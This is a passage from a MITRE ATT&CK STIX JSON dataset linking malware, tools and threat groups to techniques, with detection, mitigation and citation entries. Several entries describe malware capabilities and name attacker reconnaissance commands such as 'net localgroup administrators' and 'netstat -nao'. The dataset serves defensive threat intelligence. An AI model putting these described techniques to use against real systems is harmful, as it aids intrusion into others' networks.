"[ShadowPad](https://attack.mitre.org/software/S0596) has encrypted its payload, a virtual file system, and various files.(Citation: Securelist ShadowPad Aug 2017)(Citation: TrendMicro EarthLusca 2022)", "modified": "2022-07-21T17:17:28.072Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c088f23e-b741-453c-a710-01990dead853", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TechNet Systeminfo", "description": "Microsoft. (n.d.). Systeminfo. Retrieved April 8, 2016.", "url": "https://technet.microsoft.com/en-us/library/bb491007.aspx"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather information about the operating system.(Citation: TechNet Systeminfo)", "relationship_type": "uses", "source_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c089604b-f25e-4a4c-857b-0c2d157d34bb", "created": "2022-04-19T16:29:03.606Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft NICKEL December 2021", "url": "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe", "description": "MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Neoichor](https://attack.mitre.org/software/S0691) can collect the OS version and computer name from a compromised host.(Citation: Microsoft NICKEL December 2021)", "modified": "2022-04-19T16:29:03.606Z", "relationship_type": "uses", "source_ref": "malware--4d7bf2ac-f953-4907-b114-be44dc174d67", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c08d8f49-5cca-4463-81db-bb80cc9a7af6", "created": "2023-08-01T20:36:56.976Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Joint Cybersecurity Advisory Volt Typhoon June 2023", "description": "NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.", "url": "https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-08T17:13:44.834Z", "description": "\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has run `net localgroup administrators` in compromised environments to enumerate accounts.(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)\n", "relationship_type": "uses", "source_ref": "intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2", "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c08ebacd-b5e4-48c3-8ee6-389c635801da", "created": "2022-06-09T14:44:16.021Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ESET DazzleSpy Jan 2022", "url": "https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/", "description": "M.L\u00e9veill\u00e9, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022."}, {"source_name": "Objective-See MacMa Nov 2021", "url": "https://objective-see.org/blog/blog_0x69.html", "description": "Wardle, P. (2021, November 11). OSX.CDDS (OSX.MacMa). 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Retrieved November 21, 2016.", "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"}], "modified": "2020-03-30T01:44:20.206Z", "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) compresses output data generated by command execution with a custom implementation of the Lempel\u2013Ziv\u2013Welch (LZW) algorithm.(Citation: ESET Sednit Part 2)", "relationship_type": "uses", "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c0f13745-074b-46ba-ae7a-03385ef79d31", "type": "relationship", "created": "2020-05-04T19:13:35.506Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carbon Black HotCroissant April 2020", "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", "description": "Knight, S.. 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Retrieved July 15, 2020."}], "modified": "2020-07-24T13:48:49.757Z", "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) has used Zlib to compress C2 communications data before encrypting it.(Citation: Gh0stRAT ATT March 2019)", "relationship_type": "uses", "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c16c1ef2-2356-4987-bd9e-2cdaa007281a", "type": "relationship", "created": "2020-11-24T21:27:52.600Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity Ocean Lotus November 2020", "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", "description": "Adair, S. and Lancaster, T. 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Retrieved November 20, 2020."}], "modified": "2020-11-24T21:27:52.600Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has set up Dropbox, Amazon S3, and Google Drive to host malicious downloads.(Citation: Volexity Ocean Lotus November 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c17229de-8778-4dd9-adb9-7b9c6bb2b99b", "type": "relationship", "created": "2021-10-13T21:54:51.738Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Ransomware Feb 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html", "description": "Zafra, D., et al. (2020, February 24). Ransomware Against the Machine: How Adversaries are Learning to Disrupt Industrial Production by Targeting IT and OT. Retrieved March 2, 2021."}], "modified": "2021-10-13T21:54:51.738Z", "description": "[EKANS](https://attack.mitre.org/software/S0605) uses encoded strings in its process kill list.(Citation: FireEye Ransomware Feb 2020) ", "relationship_type": "uses", "source_ref": "malware--00e7d565-9883-4ee5-b642-8fd17fd6a3f5", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c17b66a9-2911-4f5a-b954-54d881f79dbd", "created": "2022-04-19T18:29:46.685Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "inv_ps_attacks", "url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/", "description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Consider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the <code>EngineVersion</code> field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the <code>HostName</code> field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)", "modified": "2022-04-19T18:29:46.685Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c17d90b5-569c-42db-9265-ac99cad32093", "type": "relationship", "created": "2021-03-30T02:18:56.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire"}], "modified": "2021-04-09T14:53:15.902Z", "description": "[Empire](https://attack.mitre.org/software/S0363) has a dylib hijacker module that generates a malicious dylib given the path to a legitimate dylib of a vulnerable application.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c1806927-2279-4597-ada9-e0c06b65b7eb", "type": "relationship", "created": "2021-04-23T22:56:14.733Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Ebury Oct 2017", "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."}], "modified": "2021-04-23T22:56:14.733Z", "description": "[Ebury](https://attack.mitre.org/software/S0377) has used Python to implement its DGA.(Citation: ESET Ebury Oct 2017)\t", "relationship_type": "uses", "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c18296e4-93a2-4f75-8bcb-4a05692d9940", "created": "2021-11-24T20:17:35.499Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T04:50:18.980Z", "description": "[LazyScripter](https://attack.mitre.org/groups/G0140) has leveraged the BatchEncryption tool to perform advanced batch script obfuscation and encoding techniques.(Citation: MalwareBytes LazyScripter Feb 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03", "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c185a6ee-4897-49e0-801a-6c050054661f", "type": "relationship", "created": "2020-10-01T01:48:15.601Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-01T01:48:15.601Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2", "target_ref": "attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c18652f6-e25c-4e01-bec2-04204a50cf23", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html", "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", "source_name": "FireEye MuddyWater Mar 2018"}], "modified": "2020-03-31T22:21:47.653Z", "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can delete all files on the C:\\, D:\\, E:\\ and, F:\\ drives using [PowerShell](https://attack.mitre.org/techniques/T1059/001) Remove-Item commands.(Citation: FireEye MuddyWater Mar 2018)", "relationship_type": "uses", "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c18699a3-915b-4c5f-b81a-a248cb558aaa", "type": "relationship", "created": "2021-01-06T22:00:01.039Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Intrinsec Egregor Nov 2020", "url": "https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1", "description": "Bichet, J. (2020, November 12). Egregor \u2013 Prolock: Fraternal Twins ?. Retrieved January 6, 2021."}], "modified": "2021-03-22T22:05:59.533Z", "description": "[Egregor](https://attack.mitre.org/software/S0554) has communicated with its C2 servers via HTTPS protocol.(Citation: Intrinsec Egregor Nov 2020)", "relationship_type": "uses", "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c1884e62-7b2e-45a1-89fd-c76b1b717f50", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}], "modified": "2021-06-17T19:03:17.474Z", "description": "[OwaAuth](https://attack.mitre.org/software/S0072) has been loaded onto Exchange servers and disguised as an ISAPI filter (owaauth.dll). The IIS w3wp.exe process then loads the malicious DLL.(Citation: Dell TG-3390)", "relationship_type": "uses", "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", "target_ref": "attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c18efb6c-f31d-43b8-8ddb-5d6ffce64018", "type": "relationship", "created": "2021-02-03T19:05:17.866Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevailion EvilNum May 2020", "url": "https://www.prevailion.com/phantom-in-the-command-shell-2/", "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}], "modified": "2022-01-19T18:23:53.025Z", "description": "[EVILNUM](https://attack.mitre.org/software/S0568) can execute commands and scripts through rundll32.(Citation: Prevailion EvilNum May 2020) ", "relationship_type": "uses", "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c18f83e7-979e-4bd8-80bb-d0a4e8146a21", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/n1nj4sec/pupy", "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", "source_name": "GitHub Pupy"}], "modified": "2019-04-24T17:52:48.033Z", "description": "[Pupy](https://attack.mitre.org/software/S0192) can access a connected webcam and capture pictures.(Citation: GitHub Pupy)", "relationship_type": "uses", "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c191afcc-515a-4f0c-85cc-15af0fd3674a", "created": "2021-09-28T15:46:27.090Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cyberint Qakbot May 2021", "description": "Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021.", "url": "https://blog.cyberint.com/qakbot-banking-trojan"}, {"source_name": "Group IB Ransomware September 2020", "description": "Group IB. (2020, September). LOCK LIKE  A PRO. Retrieved September 27, 2021.", "url": "https://groupib.pathfactory.com/ransomware-reports/prolock_wp"}, {"source_name": "Kaspersky QakBot September 2021", "description": "Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.", "url": "https://securelist.com/qakbot-technical-analysis/103931/"}, {"source_name": "Trend Micro Qakbot May 2020", "description": "Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021.", "url": "https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files"}, {"source_name": "Microsoft Ransomware as a Service", "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}, {"source_name": "ATT QakBot April 2021", "description": "Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.", "url": "https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot"}, {"source_name": "Kroll Qakbot June 2020", "description": "Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021.", "url": "https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks"}, {"source_name": "Trend Micro Qakbot December 2020", "description": "Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021.", "url": "https://success.trendmicro.com/solution/000283381"}, {"source_name": "Deep Instinct Black Basta August 2022", "description": "Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.", "url": "https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-05T20:19:14.316Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) has spread through emails with malicious attachments.(Citation: Trend Micro Qakbot May 2020)(Citation: Kroll Qakbot June 2020)(Citation: Trend Micro Qakbot December 2020)(Citation: Cyberint Qakbot May 2021)(Citation: ATT QakBot April 2021)(Citation: Kaspersky QakBot September 2021)(Citation: Group IB Ransomware September 2020)(Citation: Deep Instinct Black Basta August 2022)(Citation: Microsoft Ransomware as a Service)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c195f2cb-deff-400e-b89e-8625deaa9817", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Orangeworm April 2018", "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}], "modified": "2020-03-18T00:52:18.954Z", "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of active and listening connections by using the command <code>netstat -nao</code> as well as a list of available network mappings with <code>net use</code>.(Citation: Symantec Orangeworm April 2018)", "relationship_type": "uses", "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c19fcf1c-8c2c-4a71-a1fb-43934cc6ba23", "type": "relationship", "created": "2020-02-17T13:03:42.660Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-24T13:54:58.802Z", "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.\n\nOrganizations may consider weighing the risk of storing credentials in password stores and web browsers. If system, software, or web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in improper locations.", "relationship_type": "mitigates", "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c1a4334d-8975-4ca2-8734-d6c26e36702a", "type": "relationship", "created": "2020-06-15T20:49:55.578Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Dyreza November 2015", "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/", "description": "hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."}], "modified": "2020-06-15T20:49:55.578Z", "description": "[Dyre](https://attack.mitre.org/software/S0024) has the ability to identify the computer name, OS version, and hardware configuration on a compromised host.(Citation: Malwarebytes Dyreza November 2015)", "relationship_type": "uses", "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c1a5ba7a-659b-4ac2-90df-f3f74a3a8442", "created": "2020-05-14T22:29:26.043Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "McAfee Sharpshooter December 2018", "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-26T20:18:23.659Z", "description": "[Rising Sun](https://attack.mitre.org/software/S0448) has executed commands using `cmd.exe /c \u201c<command> > <%temp%>\\AM<random>. tmp\u201d 2>&1`.(Citation: McAfee Sharpshooter December 2018) ", "relationship_type": "uses", "source_ref": "malware--56e6b6c2-e573-4969-8bab-783205cebbbf", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c1a6c86e-5d5d-4cf1-845e-1660d9c19baf", "created": "2019-06-13T16:59:18.442Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft Common Conditional Access Policies", "description": "Microsoft. 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Retrieved November 16, 2020."}], "modified": "2020-11-20T17:06:17.941Z", "description": "[Lucifer](https://attack.mitre.org/software/S0532) can exploit multiple vulnerabilities including EternalBlue (CVE-2017-0144) and EternalRomance (CVE-2017-0144).(Citation: Unit 42 Lucifer June 2020)", "relationship_type": "uses", "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c1b53315-fe59-4485-bc15-95b59cc34058", "created": "2022-03-30T14:26:51.848Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. 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Retrieved February 1, 2023.", "url": "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-08T18:40:22.350Z", "description": "[Brute Ratel C4](https://attack.mitre.org/software/S1063) can use legitimate websites for external C2 channels including Slack, Discord, and MS Teams.(Citation: Palo Alto Brute Ratel July 2022)", "relationship_type": "uses", "source_ref": "tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5", "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c1b5ad09-6b1a-487e-bec1-af2326be5007", "type": "relationship", "created": "2020-11-13T21:33:01.885Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Grandoreiro April 2020", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", "description": "ESET. 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Retrieved November 13, 2020."}], "modified": "2020-11-13T21:47:03.958Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can bypass UAC by registering as the default handler for .MSC files.(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", 